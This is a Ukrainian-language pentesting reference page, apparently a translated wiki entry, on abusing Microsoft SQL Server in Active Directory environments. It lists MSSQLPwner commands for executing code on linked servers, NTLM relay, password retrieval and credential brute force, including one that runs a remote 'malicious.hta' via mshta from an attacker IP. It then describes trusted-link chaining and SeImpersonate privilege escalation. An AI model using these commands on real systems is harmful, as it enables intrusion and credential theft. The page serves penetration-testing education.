MSSQL AD Abuse
MSSQL AD Abuse
MSSQL Enumeration / Discovery
Python
Інструмент MSSQLPwner базується на impacket і також дозволяє аутентифікацію за допомогою квитків kerberos та атаки через ланцюги посилань.
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Перерахунок з мережі без доменної сесії
Перерахунок зсередини домену
MSSQL Основне Зловживання
Доступ до БД
MSSQL RCE
Можливо також виконувати команди всередині хоста MSSQL
Перевірте на сторінці, згаданій у наступному розділі, як зробити це вручну.
Основні трюки хакінгу MSSQL
1433 - Pentesting MSSQL - Microsoft SQL ServerДовірені посилання MSSQL
Якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо у користувача є привілеї над довіреною базою даних, він зможе використовувати довірчі відносини для виконання запитів також в іншому екземплярі. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.
Посилання між базами даних працюють навіть через довіри лісу.
Зловживання Powershell
Metasploit
Ви можете легко перевірити наявність довірених посилань, використовуючи metasploit.
Зверніть увагу, що metasploit намагатиметься зловживати лише функцією openquery()
в MSSQL (отже, якщо ви не можете виконати команду з openquery()
, вам потрібно буде спробувати метод EXECUTE
вручну для виконання команд, див. нижче.)
Вручну - Openquery()
З Linux ви можете отримати консольну оболонку MSSQL за допомогою sqsh та mssqlclient.py.
З Windows ви також можете знайти посилання та виконати команди вручну, використовуючи клієнт MSSQL, такий як HeidiSQL
Увійдіть за допомогою Windows аутентифікації:
Знайти надійні посилання
Виконати запити в надійному посиланні
Виконати запити через посилання (приклад: знайти більше посилань у новій доступній інстанції):
Перевірте, де використовуються подвійні та одинарні лапки, важливо використовувати їх саме так.
Ви можете продовжувати цей ланцюг довірених посилань вічно вручну.
Якщо ви не можете виконати дії, такі як exec xp_cmdshell
з openquery()
, спробуйте метод EXECUTE
.
Ручний - EXECUTE
Ви також можете зловживати довіреними посиланнями, використовуючи EXECUTE
:
Підвищення локальних привілеїв
MSSQL локальний користувач зазвичай має спеціальний тип привілею, званий SeImpersonatePrivilege
. Це дозволяє обліковому запису "вдаватись під клієнта після аутентифікації".
Стратегія, яку розробили багато авторів, полягає в тому, щоб змусити службу SYSTEM аутентифікуватись до зловмисної або атаки "людина посередині" служби, яку створює зловмисник. Ця зловмисна служба потім може вдаватися під службу SYSTEM, поки вона намагається аутентифікуватись.
SweetPotato має колекцію цих різних технік, які можна виконати за допомогою команди execute-assembly
Beacon.
Last updated